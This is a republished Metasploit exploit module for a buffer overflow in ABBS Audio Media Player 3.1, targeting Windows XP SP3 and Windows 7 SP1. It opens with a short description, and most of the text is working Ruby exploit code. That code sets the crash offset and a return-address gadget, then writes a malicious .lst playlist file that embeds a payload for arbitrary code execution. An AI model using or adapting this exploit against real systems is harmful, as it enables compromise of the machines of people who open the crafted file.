ABBS Audio Media Player .LST Buffer Overflow

[Matt]

Description : This Metasploit module exploits a buffer overflow in ABBS Audio Media Player. The vulnerability occurs when adding an .lst, allowing arbitrary code execution with the privileges of the user running the application. This Metasploit module has been tested successfully on ABBS Audio Media Player 3.1 over Windows XP SP3 and Windows 7 SP1.

Author : Julian Ahrens

Source : ABBS Audio Media Player .LST Buffer Overflow ? Packet Storm

Code :

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
  Rank = NormalRanking

  include Msf::Exploit::FILEFORMAT

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'ABBS Audio Media Player .LST Buffer Overflow',
      'Description'    => %q{
          This module exploits a buffer overflow in ABBS Audio Media Player. The vulnerability
        occurs when adding an .lst, allowing arbitrary code execution with the privileges
        of the user running the application . This module has been tested successfully on
        ABBS Audio Media Player 3.1 over Windows XP SP3 and Windows 7 SP1.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'Julian Ahrens', # Vulnerability discovery and PoC
          'modpr0be <modpr0be[at]spentera.com>' # Metasploit module
        ],
      'References'     =>
        [
          [ 'OSVDB', '75096' ],
          [ 'EDB', '25204' ]
        ],
      'DefaultOptions'  =>
        {
          'EXITFUNC' => 'process',
        },
      'Platform'       => 'win',
      'Payload'        =>
        {
          'BadChars'        => "\x00\x0a\x0d",
          'DisableNops'     => true,
        },
      'Targets'        =>
        [
          [ 'ABBS Audio Media Player 3.1 / Windows XP SP3 / Windows 7 SP1',
            {
              'Ret'     => 0x00412c91, # add esp,14 # pop # pop # pop # ret from amp.exe
              'Offset'  => 4108,
            }
          ]
        ],
      'Privileged'     => false,
      'DisclosureDate' => 'Jun 30 2013',
      'DefaultTarget'  => 0))

    register_options(
      [
        OptString.new('FILENAME', [ false, 'The file name.', 'msf.lst']),
      ], self.class)

  end

  def exploit
    buffer = payload.encoded
    buffer << rand_text(target['Offset'] - (payload.encoded.length))
    buffer << [target.ret].pack('V')

    file_create(buffer)
  end
end